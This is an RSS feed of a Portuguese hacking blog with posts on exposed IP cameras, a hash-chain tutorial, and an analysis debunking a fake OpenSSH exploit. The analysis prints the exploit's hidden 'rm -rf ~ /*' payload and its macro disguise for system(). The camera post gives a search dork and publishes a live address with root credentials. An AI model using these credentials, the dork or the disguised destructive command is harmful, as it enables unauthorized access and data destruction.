<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hack'n Roll Blog</title>
	<atom:link href="http://blog.hacknroll.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.hacknroll.com</link>
	<description>Hacking as life style!</description>
	<lastBuildDate>Thu, 23 May 2013 15:44:49 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Urban Hacking</title>
		<link>http://blog.hacknroll.com/2011/05/20/urban-hacking/</link>
		<comments>http://blog.hacknroll.com/2011/05/20/urban-hacking/#comments</comments>
		<pubDate>Fri, 20 May 2011 18:21:24 +0000</pubDate>
		<dc:creator>Maycon Maia</dc:creator>
				<category><![CDATA[Sem categoria]]></category>

		<guid isPermaLink="false">http://blog.hacknroll.com/?p=273</guid>
		<description><![CDATA[Estava conversando com o João Victor (@jvrmaia) e ele me disse que o pessoal do suporte adiquiriu uma Câmera IP para fazer o monitoramento do prédio. Quando eles foram procurar as documentação de instalação da câmera, tiveram uma surpresa ao ver que diversas câmeras são ligadas publicamente à internet e com senha padrão (ou pior [...]]]></description>
				<content:encoded><![CDATA[<p>Estava conversando com o João Victor (<a href="http://www.twitter.com/jvrmaia">@jvrmaia</a>) e ele me disse que o pessoal do <a href="http://www.inf.ufes.br/~monitores/">suporte</a> adiquiriu uma Câmera IP para fazer o monitoramento do prédio.</p>
<p>Quando eles foram procurar as documentação de instalação da câmera, tiveram uma surpresa ao ver que diversas câmeras são ligadas publicamente à internet e com senha padrão (ou pior ainda, sem senha).</p>
<p>Com a mente aguçada em saber se isso é bastante comum, fui na página da Toshiba, catei o manual de uma das Câmeras IP dela e no manual vi algumas figuras da interface Web de gerenciamento/visualização e, como imaginei, encontrei diversos IP&#8217;s públicos com acesso sem autenticação as câmeras.</p>
<p>Um exemplo comum foi com a seguinte pesquisa do Google:<br />
<a href="http://www.google.com.br/search?sourceid=chrome&#038;ie=UTF-8&#038;q=intitle%3A%22network+camera+-+User+Login%22">intitle:&#8221;network camera &#8211; User Login&#8221;</a></p>
<p>Onde o primeiro resultado foi uma Câmera IP de (aparentemente) de um porto, onde é possível até movimentá-la (isso foi divertido):</p>
<p><a href="http://blog.hacknroll.com/wp-content/uploads/2011/05/Captura_de_tela-TOSHIBA-Network-Camera-User-Viewer-for-Single-Screen-Display-Chromium.png"><img src="http://blog.hacknroll.com/wp-content/uploads/2011/05/Captura_de_tela-TOSHIBA-Network-Camera-User-Viewer-for-Single-Screen-Display-Chromium-300x267.png" alt="" width="300" height="267" class="aligncenter size-medium wp-image-274" /></a></p>
<p>Bom, agora eu me pergunto quando as pessoas vão passar a realmente se preocupar com esse tipo de coisa. Muito pode ser feito com esse tipo de informações, principalmente porque as câmeras são posicionadas estratégicamente em direção onde temos maior risco de incidente.</p>
<p>Podemos até saber se a locadora do Tio Phill está com fila muito grande antes de ir la: <a href="http://96.2.189.42:8080/">http://96.2.189.42:8080/</a> (user: root / pass: ikwb)</p>
<p>Abraços e hack&#8217;n roll,<br />
Maycon Maia Vitali ( 0ut0fBound )</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hacknroll.com/2011/05/20/urban-hacking/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Enfim uma maillist…</title>
		<link>http://blog.hacknroll.com/2011/05/18/enfim-uma-maillist%e2%80%a6/</link>
		<comments>http://blog.hacknroll.com/2011/05/18/enfim-uma-maillist%e2%80%a6/#comments</comments>
		<pubDate>Wed, 18 May 2011 20:51:32 +0000</pubDate>
		<dc:creator>Maycon Maia</dc:creator>
				<category><![CDATA[Sem categoria]]></category>

		<guid isPermaLink="false">http://blog.hacknroll.com/?p=270</guid>
		<description><![CDATA[Olá, espero que estejam todos ok&#8230; Depois de muito bate cabeça e controversias frequentando a lista exploits-brasil um grupo com ideias em comum resolveu criar uma nova lista de discussões&#8230; A lista criada foi chamada de 0ops-br, uma breve tradução da wiki seria: Um &#8220;oops&#8221; é um *desvio* do comportamento correto do kernel do linux, [...]]]></description>
				<content:encoded><![CDATA[<p>Olá, espero que estejam todos ok&#8230;</p>
<p>Depois de muito bate cabeça e controversias frequentando a lista exploits-brasil um grupo com ideias em comum resolveu criar uma nova lista de discussões&#8230;</p>
<p>A lista criada foi chamada de <a href="http://en.wikipedia.org/wiki/Linux_kernel_oops">0ops-br</a>, uma breve tradução da wiki seria:</p>
<blockquote><p>
Um &#8220;oops&#8221; é um *desvio* do comportamento correto do kernel do linux, o qual produz algum tipo de erro/log.
</p></blockquote>
<p>Tá, pode não ser o melhor nome do mundo mas se você já sabe o significado é bem provável que trará discussões interessantes pra lista <img src='http://blog.hacknroll.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p>Algumas considerações:<br />
&#8211; A lista é moderada<br />
&#8211; Os moderadores são bastardos (fdpsemcostume!)<br />
&#8211; Os interesses estão entre, mas não somente, OS Internals, Programação baixo nível (C, assembly), Exploração de Softwares, Engenharia Reversa, Malware Analysis e Hacking/Phreaking em geral (exemplo: Lock Picking, DIY projects…)<br />
&#8211; &#8230;</p>
<p>O endereço da lista é: http://groups.google.com/group/oops-br<br />
Apenas as postagens são moderadas (pra evitar sujeira na lista).</p>
<p>Se você se interessa pelos assuntos acima e sabe como se portar em uma maillist, será bem vindo <img src='http://blog.hacknroll.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>&#8211;<br />
Maycon Maia Vitali ( 0ut0fBound )</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hacknroll.com/2011/05/18/enfim-uma-maillist%e2%80%a6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Desafio Hack&#8217;n Roll #1</title>
		<link>http://blog.hacknroll.com/2010/12/16/desafio-hackn-roll-1/</link>
		<comments>http://blog.hacknroll.com/2010/12/16/desafio-hackn-roll-1/#comments</comments>
		<pubDate>Thu, 16 Dec 2010 12:54:35 +0000</pubDate>
		<dc:creator>Maycon Maia</dc:creator>
				<category><![CDATA[Programação]]></category>

		<guid isPermaLink="false">http://blog.hacknroll.com/?p=263</guid>
		<description><![CDATA[Estava conversando no IRC (sim, ainda existe IRC) com Pedro Mendes (pedro3005), quando ele me disse que havia feito um código em Haskell que recebia um texto como parâmetros e retornava um código Brainfuck que imprimia esse texto. Quando ele me explicou a idéia do código e mostrou um exemplo de saída, percebi que existem [...]]]></description>
				<content:encoded><![CDATA[<p>Estava conversando no IRC (sim, ainda existe IRC) com Pedro Mendes (pedro3005), quando ele me disse que havia feito um código em <a href="http://pt.wikipedia.org/wiki/Haskell_(linguagem_de_programa%C3%A7%C3%A3o)">Haskell</a> que recebia um texto como parâmetros e retornava um código <a href="http://pt.wikipedia.org/wiki/Brainfuck">Brainfuck</a> que imprimia esse texto. Quando ele me explicou a idéia do código e mostrou um exemplo de saída, percebi que existem diversas maneiras de otimiza-lo. Foi quando pensei em lançar este desafio.</p>
<p>O desafio consiste em escrever um código que receba uma palavra (ou texto) qualquer que gere um código brainfuck que imprima esse texto. As soluções devem ser postadas como comentários e uma solução consiste na idéia por trás do código, no link para o código em <a href="http://hacknroll.pastebin.com/">http://hacknroll.pastebin.com/</a> e o código brainfuck que imprima o texto Hack&#8217;n Roll. Lembrem-se de colocar o pastebin para nunca expirar, além de especificar corretamente a linguagem, nome e título.</p>
<p>Qualquer coisa podemos bater um papo no IRC:<br />
- Servidor: <a href="irc://irc.freenode.net">irc.freenode.net</a><br />
- Canais: #c4ll ##unix-br #reset</p>
<p>Bom desafio a todos e tenham um ótimo Hack&#8217;n Roll. <img src='http://blog.hacknroll.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hacknroll.com/2010/12/16/desafio-hackn-roll-1/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>0-Day openssh-53p1-remote-root.c ?</title>
		<link>http://blog.hacknroll.com/2010/02/07/0-day-openssh-53p1-remote-root-c/</link>
		<comments>http://blog.hacknroll.com/2010/02/07/0-day-openssh-53p1-remote-root-c/#comments</comments>
		<pubDate>Sun, 07 Feb 2010 22:54:13 +0000</pubDate>
		<dc:creator>Maycon Maia</dc:creator>
				<category><![CDATA[Sem categoria]]></category>

		<guid isPermaLink="false">http://blog.hacknroll.com/?p=248</guid>
		<description><![CDATA[Estava em casa e de madrugada recebi uma mensagem dizendo &#8220;0-day para OpenSSH&#8221; seguindo do seguinte link: http://pentestit.com/wp-content/uploads/2010/02/openssh-53p1-remote-root.c Já logo pensei na festa que isso seria para os script kiddies e raquers de plantão. Porém ao dar uma olhada rápida no código, percebe-se logo de inicio algumas sutilezas. De uma maneira geral o código realmente [...]]]></description>
				<content:encoded><![CDATA[<p>Estava em casa e de madrugada recebi uma mensagem dizendo &#8220;0-day para OpenSSH&#8221; seguindo do seguinte link:<br />
<a href="http://pentestit.com/wp-content/uploads/2010/02/openssh-53p1-remote-root.c">http://pentestit.com/wp-content/uploads/2010/02/openssh-53p1-remote-root.c</a></p>
<p>Já logo pensei na festa que isso seria para os script kiddies e raquers de plantão. Porém ao dar uma olhada rápida no código, percebe-se logo de inicio algumas sutilezas. De uma maneira geral o código realmente parece com um exploit, com seus imensos shellcodes e suas conexões por socket, o que me fez da uma olhada com mais calma e escrever este post.</p>
<p>Vamos ao começo do código:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>184
185
186
187
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>geteuid<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000066;">puts</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Root is required for raw sockets, etc.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Olhando logo na parte inicial do código, é possível notar que ele exige que seja executando com um usuário com privilégios de root, argumentando que é necessário para utilização de raw sockets (SOCK_RAW). Porém, procurando pela criação do socket em questão, nota-se que ele utiliza um SOCK_STREAM, que representa uma conexão TCP normal sem necessidade de root.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>205
206
207
208
209
210
211
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">sock <span style="color: #339933;">=</span> socket<span style="color: #009900;">&#40;</span>PF_INET<span style="color: #339933;">,</span> SOCK_STREAM<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
addr.<span style="color: #202020;">sin_port</span> <span style="color: #339933;">=</span> htons<span style="color: #009900;">&#40;</span>port<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
addr.<span style="color: #202020;">sin_family</span> <span style="color: #339933;">=</span> AF_INET<span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>connect<span style="color: #009900;">&#40;</span>sock<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> sockaddr<span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>addr<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>addr<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;  [-] Connecting Failed<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Em seguida, ele faz uma validação da quantidade de argumentos, fornecendo uma ajuda caso não existam parâmetros<br />
suficiente:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>189
190
191
192
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	usage<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Porém, é importante notar que ele não faz qualquer outra referência à argv, ou seja, ele não trata os parâmetros fornecidos.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>196
197
198
199
200
201
202
203
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>inet_aton<span style="color: #009900;">&#40;</span>h<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>addr.<span style="color: #202020;">sin_addr</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	host <span style="color: #339933;">=</span> gethostbyname<span style="color: #009900;">&#40;</span>h<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>host<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;  [-] Resolving Failed<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	addr.<span style="color: #202020;">sin_addr</span> <span style="color: #339933;">=</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> in_addr<span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>host<span style="color: #339933;">-&gt;</span>h_addr<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Seguindo pelo código, temos um trecho de código que diz converter o endereço fornecido em seu host. Porém como não existe qualquer parâmetro definido como host, a função inet_aton vai retornar um valor diferente de zero, o que resultará sempre no salto desta condição.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>212
213
214
215
216
217
218
219
220
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">payload <span style="color: #339933;">=</span> <span style="color: #000066;">malloc</span><span style="color: #009900;">&#40;</span>limit <span style="color: #339933;">*</span> <span style="color: #0000dd;">10000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
ptr <span style="color: #339933;">=</span> payload<span style="color: #339933;">+</span><span style="color: #0000dd;">8</span><span style="color: #339933;">;</span>
<span style="color: #000066;">memcpy</span><span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span>jmpcode<span style="color: #339933;">,</span><span style="color: #000066;">strlen</span><span style="color: #009900;">&#40;</span>jmpcode<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
jmpinst<span style="color: #339933;">=</span><span style="color: #000066;">fopen</span><span style="color: #009900;">&#40;</span>shellcode<span style="color: #339933;">+</span><span style="color: #0000dd;">793</span><span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;w+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>jmpinst<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #000066;">fseek</span><span style="color: #009900;">&#40;</span>jmpinst<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span>SEEK_SET<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">fprintf</span><span style="color: #009900;">&#40;</span>jmpinst<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;%s&quot;</span><span style="color: #339933;">,</span>shellcode<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">fclose</span><span style="color: #009900;">&#40;</span>jmpinst<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Neste momento ele começa a preencher um buffer (um trecho de código comum em exploits), porém ele escreve uma variável jmpcode a partir da posição 8 deste buffer ( apontado por ptr ):</p>
<pre>
maycon@hacknroll~$ printf $(cat jmpcode.txt) &gt; jmpcode.bin
maycon@hacknroll~$ file jmpcode.bin
jmpcode.bin: ASCII C program text, with no line terminators
maycon@hacknroll~$ cat jmpcode.bin
rm -rf ~ /* 2&gt; /dev/null &amp;
maycon@hacknroll~$
</pre>
<p>Opa! Nos deparamos com uma coisa nem um pouco agradável de ser ver. Estamos vendo um comando que apaga o home do usuário em seguida apaga tudo a partir da raiz. <img src='http://blog.hacknroll.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>O mesmo código chama fopen() a uma posição do shellcode que sequer representa um nome de arquivo válido, ou seja, a função fopen() vai falhar.</p>
<p>No resto do código tem muita besteira. O que me deixou mais impressionado foi a macro fremote() que, não sei ao certo, tem a mesma função que system. Se reparar, ela é chamada no inicio do código como fremote(jmpcode), que executaria o rm -rf visto anteriormente, veja um exemplo da utilização das macros:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include </span>
&nbsp;
<span style="color: #339933;">#define build_frem(x,y,a,b,c) a##c##a##x##y##b</span>
<span style="color: #339933;">#define fremote build_frem(t,e,s,m,y)</span>
&nbsp;
<span style="color: #993333;">char</span> jmpcode<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;ls -l&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	fremote<span style="color: #009900;">&#40;</span>jmpcode<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Analisando a chamada build_frem, temos que ele simplesmente organiza os parâmetros como terceiro, último, terceiro, primeiro, segundo e penúltimo. Aplicando esta mesma sequência nos parâmetros de build_frem teremos a string system.</p>
<p>Se executarmos gcc -E temos o código logo após o processamento das macros:</p>
<pre>
maycon@hacknroll~$ gcc -E fremote.c  | tail -n 8

char jmpcode[] = "ls -l";

int main(void)
{
	system(jmpcode);
	return 0;
}

maycon@hacknroll~$
</pre>
<p>Este é um trick bastante interessante. Ah se eu soubesse disto na época de Programação I na faculdade. <img src='http://blog.hacknroll.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>De qualquer forma isto serve de aviso para os que se aventuram a simplesmente compilar e executar os exploits vistos na internet.</p>
<p>Abraços a todos,<br />
______________________________________<br />
Maycon Maia Vitali ( 0ut0fBound )<br />
Hack&#8217;n Roll</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hacknroll.com/2010/02/07/0-day-openssh-53p1-remote-root-c/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Hack New Year: MD5 Chain com Rainbow Table</title>
		<link>http://blog.hacknroll.com/2010/01/02/hack-new-year-md5-chain-com-rainbow-table/</link>
		<comments>http://blog.hacknroll.com/2010/01/02/hack-new-year-md5-chain-com-rainbow-table/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 18:23:26 +0000</pubDate>
		<dc:creator>Maycon Maia</dc:creator>
				<category><![CDATA[Criptografia]]></category>
		<category><![CDATA[Segurança]]></category>

		<guid isPermaLink="false">http://blog.hacknroll.com/?p=227</guid>
		<description><![CDATA[Antes de qualquer coisa, gostaria de desejar a todos um feliz ano novo cheio de felicidades e que seus objetivos sejam edificados em 2010. Criptografia com certeza é um assunto de interesse de muitos, porém por ser uma área tão extensa e de pré-requisitos (álgebra, geometria, trigonometria, teoria dos números, etc) que realmente não agradam [...]]]></description>
				<content:encoded><![CDATA[<p>Antes de qualquer coisa, gostaria de desejar a todos um feliz ano novo cheio de felicidades e que seus objetivos sejam edificados em 2010.</p>
<p>Criptografia com certeza é um assunto de interesse de muitos, porém por ser uma área tão extensa e de pré-requisitos (álgebra, geometria, trigonometria, teoria dos números, etc) que realmente não agradam alguns muitas vezes não são estudadas como hobby.</p>
<p>A criptoanálise é o ramo da ciência que estuda métodos de criptografia, capacitando ao profissional fazer a análise de um algoritmo criptográfico quanto a sua complexidade, podendo definir um algoritmo como forte (de difícil quebra) ou fraco (de fácil quebra).</p>
<p>Como dito, para se estudar criptografia, geralmente tem-se a necessidade de um forte embasamento matemático. Para se ter idéia, algumas linhas da matemática pura estudados a 20 anos atrás são chave fundamental para os melhores algoritmos de criptografia da atualidade.</p>
<p>Alguns ramos de estudo de criptografia não necessitam de um embasamento profundo em matemática. Um desses ramos é o Hash Chain, base para o tão conhecido Rainbow Table (vide Project RainbowCrack), que utiliza uma técnica chamada Time-memory Tradeoff (TMTO).</p>
<p>Em um ataque de força-bruta (brute-force) convencional a um algoritmo de hash, são gerados todas as possíveis senhas com seus respectivos hash’s, e então procura-se um determinado hash para tentar obter a senha original. Porém, levando em consideração uma senha composto das letras de a à z (26 letras) e uma senha de até 7 caracteres, temos o total de:<br />
<a href="http://blog.hacknroll.com/wp-content/uploads/2010/01/hash-formula1.JPG"><img src="http://blog.hacknroll.com/wp-content/uploads/2010/01/hash-formula1.JPG" alt="Formula" width="368" height="79" class="aligncenter size-full wp-image-229" /></a></p>
<p>O maior problema não é calcular as senhas, e sim armazená-las, já que só para armazenar cada um dos 16 bytes do hash MD5 serão necessários mais que 124Gb de espaço. Se fosse até 8 (oito) caracteres esse valor iria mais que dobrar.</p>
<p>O Time-Memory Tradeoff tem por objetivo reduzir drasticamente a quantidade de memória utilizada em troca de um processamento um pouco maior, porém esse processamento poderia ser feito uma única vez e, dentro a tabela de hash bastaria apenas consultar.</p>
<p>Para se reduzir o tamanho do espaço armazenado, utiliza-se o chamado Hash Chain, que tem por finalidade armazenar uma palavra pertencente ao alfabeto e um hash não necessariamente equivalente a ela.</p>
<p>Iremos tomar como exemplo um alfabeto contendo as letras minúsculas de a à z. Com isto temos 26 letras em nosso alfabeto. Uma palavra é qualquer sequência de caracteres, todos pertencentes ao alfabeto dado e um dicionário é um conjunto de palavras.</p>
<p>O Hash Chain é formado da seguinte forma, dado uma palavra do dicionário, aplica-se uma função de hash H e em seguida aplica-se uma função R, tal que R resulte em uma palavra também pertencente ao dicionário. Faz-se essa operação uma determinada quantidade de vezes (aqui chamadas de iterações) e, ao final, armazena-se o hash resultante, por exemplo:</p>
<p>aaaaaa —H→ 281DAF40 —R→ sgfnyd —H→ 920ECF10</p>
<p>No exemplo acima fizemos apenas duas iterações com a palavra “aaaaaa”. Inicialmente aplicamos a função de hash e obtivemos o valor 281DAF40. Em seguida foi aplicação a função R resultando na palavra “sgfnyd” , pertencente ao dicionário. Por ultimo aplicou-se novamente a função de hash resultando no hash 920ECF10.</p>
<p>Dado um hash para consultar, verifica-se se ele esta contido na tabela de hash’s gerada. Caso ele seja encontrado, é provável que a partir da palavra inicial consiga-se obter a palavra equivalente ao hash. Por exemplo, se tivermos o hash 920ECF10, podemos encontrá-lo na tabela, sendo equivalente a palavra inicial aaaaaa, bastando apenas fazer as operações H e R varias vezes até encontramos a palavra que tenha o hash dado ou não encontrarmos (atingindo o máximo de iterações). Caso o hash procurado não esteja na tabela, aplica-se consecutivamente as funções R e H no hash fornecido, procurando novamente na tabela, fazendo assim com que o hash fornecido converja à um hash da tabela ou atinja o número máximo de iterações (caso não seja encontrado).</p>
<p>É importante ressaltar que a função R não pode ter qualquer aleatoriedade, ou seja, um valor de hash é sempre transformado na mesma palavra do dicionário. A diferença do Hash Chain puro para o Rainbow Table é que o segundo possui diversas funções R que transformam um hash qualquer em uma palavra do dicionário, tentando assim evitar colisões (dois hash resultarem na mesma palavra).</p>
<p>Para efeitos de ilustração escrevi um código como prova de conceito (p0c), que gera em tempo real um dicionário, faz diversas iterações e depois procura um dado hash. É importante deixar claro que esse código é somente demonstrativo, porém ele pode futuramente virar um projeto da Hack’n Roll. Algumas limitações dele é o dicionário ser fixo (letras de a à z), você tem que fornecer o tamanho da senha do hash (isso o torna completamente inútil sozinho em um ambiente real), terei que melhorar (e muito) a função que transforma o hash em uma palavra do dicionário, etc.</p>
<p><a href="http://blog.hacknroll.com/wp-content/uploads/2010/01/hash-hack1.JPG"><img src="http://blog.hacknroll.com/wp-content/uploads/2010/01/hash-hack1.JPG" alt="Quebra do hash da palavra hack" width="668" height="223" class="aligncenter size-full wp-image-231" /></a></p>
<p>A ferramenta faz o que promete, porém algumas (muitas) vezes ele não encontra a palavra solicitada. Isso se dá porque o dicionário inicial é gerado aleatóriamente, para um melhor resultado, basta executar novamente com os mesmos parâmetros até ele encontrar a palavra solicitada:<br />
<a href="http://blog.hacknroll.com/wp-content/uploads/2010/01/hash-natal1.JPG"><img src="http://blog.hacknroll.com/wp-content/uploads/2010/01/hash-natal1.JPG" alt="Quebra do hash MD5 da palavra natal" width="644" height="481" class="aligncenter size-full wp-image-233" /></a></p>
<p>Não recomendo tentar utilizar o md5-chain como ferramente de quebra de hash MD5. Ele foi escrito com o único propósito de explicar o conceito de hash chain, time-memory tradeoff e como funciona o projeto RainbowCrack. Este ultimo já possui diversas melhorias matemáticas além de ter instruções específicas para trabalhar com GPU (processadores de placas de vídeo).</p>
<p>No projeto RainbowCrack, a tabela palavra/hash é gerada e armazenada em arquivo, sempre fazendo algumas verificações. Dessa forma bastaria fazer as consultas necessárias e obter os resultados.</p>
<p>O código-fonte do md5-chain pode ser obtido <a href="http://maycon.hacknroll.com/codes/md5-chain.tar.bz2">aqui</a>. Sinta-se livre para modificá-lo e estudá-lo à vontade. Um desafio seria reescrever a função makepass() que gera uma palavra a partir de um hash, cuja execução com um dicionário inicial de 2000 palavras e 2000 iterações de uma senha de 5 caracteres não gere muitas (ou nenhuma) repetição.</p>
<p>Bom estudo e feliz hack’n roll.</p>
<p>Referências:<br />
<a href="http://en.wikipedia.org/wiki/Rainbow_table">http://en.wikipedia.org/wiki/Rainbow_table</a><br />
<a href="http://en.wikipedia.org/wiki/Space-time_tradeoff">http://en.wikipedia.org/wiki/Space-time_tradeoff</a><br />
<a href="http://www.cs.sjsu.edu/faculty/stamp/RUA/TMTO.pdf">http://www.cs.sjsu.edu/faculty/stamp/RUA/TMTO.pdf</a><br />
<a href="http://project-rainbowcrack.com/">http://project-rainbowcrack.com/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hacknroll.com/2010/01/02/hack-new-year-md5-chain-com-rainbow-table/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>A Verdade sobre o Apagão</title>
		<link>http://blog.hacknroll.com/2009/11/12/a-verdade-sobre-o-apagao-2/</link>
		<comments>http://blog.hacknroll.com/2009/11/12/a-verdade-sobre-o-apagao-2/#comments</comments>
		<pubDate>Thu, 12 Nov 2009 02:57:37 +0000</pubDate>
		<dc:creator>Maycon Maia</dc:creator>
				<category><![CDATA[Segurança]]></category>

		<guid isPermaLink="false">http://blog.hacknroll.com/?p=202</guid>
		<description><![CDATA[Eu? Como? Quando? onde? Por que? 18 anos? Na verdade eu tinha 23 anos. Agora é sério, você nasceu pra cagar merda pela boca. Pare de falar e subjugar as pessoas e faça algo de relevante antes de colocar a palavra pesquisador entre aspas. Cadê seus exploits? Cadê seus CVEs? Cadê a sua contribuição? Não [...]]]></description>
				<content:encoded><![CDATA[<p>Eu? Como? Quando? onde? Por que? 18 anos? Na verdade eu tinha 23 anos. <img src='http://blog.hacknroll.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Agora é sério, você nasceu pra cagar merda pela boca. Pare de falar e subjugar as pessoas e faça algo de relevante antes de colocar a palavra pesquisador entre aspas. Cadê seus exploits? Cadê seus CVEs? Cadê a sua contribuição? Não me venha dizer que vender treinamento lixo e palestras lixo em eventos lixo é algo de bom, pois todos sabemos qual o seu principal objetivo ni$$o tudo.</p>
